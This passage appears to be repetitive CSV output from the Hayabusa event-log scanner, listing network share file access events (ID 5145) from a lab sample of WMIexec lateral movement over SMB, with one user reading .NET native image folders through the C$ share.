10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Web.Services\fe0f1499df5082fd5392827ddfb03c9e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind0de890be# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind0de890be#\1235ba87f20536f0d0826b2ed514ab19 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.125 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5abb17e9# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.125 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5abb17e9#\928d9b9947cc9afb702c0c2fe2945da7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.150 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5cb9c182# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.150 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind5cb9c182#\55235c007590785b8554cd0c0dc95d36 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.182 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind74b7bf4b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.182 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind74b7bf4b#\ee04d39ed856041bef2381a968f3c2b9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind412bbddf# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Wind412bbddf#\cf3e7fb699d07208e389d8d3e5c3e3b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\635558b506364815e8348217e86fdf99 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Work0493292f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.197 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Work0493292f#\b8d89e2f35d492e69789bd504270dff4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.213 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workca489553# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.213 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workca489553#\2af2b08e949ae5ebe946684d477a50d5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workd8194f73# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workd8194f73#\e75ae269d8eb8c8fb7bdcce4082ff8c2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workfffcbcd8# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Workfffcbcd8#\64d113caa8b81caec5c21797931b5624 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml\10483ca149b5c651d217edbf2f3169b4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml.Hosting : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml.Hosting\e9062794b3050c9564584baa07300c10 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\77bc1a994f64193efc124c297b93fdb7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.235 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.84e525b7# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.251 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.84e525b7#\1e30da61ac8d97f7b17cdce57fb6a874 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.251 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.251 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\6f7a4225a199ad7894379512ca6ae50c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\TaskScheduler : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\TaskScheduler\313baced763e9e5054e7694d5594cde5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Temp : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomatio4e153cb6# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomatio4e153cb6#\a1f231be2afa2e51dfc0a1f76644d2f7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationClient : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationClient\abccca8c6f96e1d3c686a69acb31b9a9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationProvider : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationProvider\c926f90d88838d450951cd6c5b41c961 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.266 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationTypes : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationTypes\3be4139a741b447ab35a2c788a2f4559 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Windows.Serf5111484# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Windows.Serf5111484#\d081d0c6a64c64fa9afe4e545f2eaa05 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\9bbf715cfb5360c95acd27b199083854 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsForm0b574481# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WindowsForm0b574481#\f002202a6660cc8ce07f8ae19d6fac84 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WsatConfig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\WsatConfig\30fd20e8b16392d487e0f52dfd8a5900 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XamlBuildTask : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XamlBuildTask\72aa615c9ea48820d317a6bed7b07213 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.360 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XsdBuildTask : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.360 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\XsdBuildTask\b1861416b236727b9d51d4568d9f6841 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.360 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Accessibility : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Accessibility\fabe62e146147faa9fc09e8b9a63d5cc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\AuditPolicy42d3d2cc# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:31.409 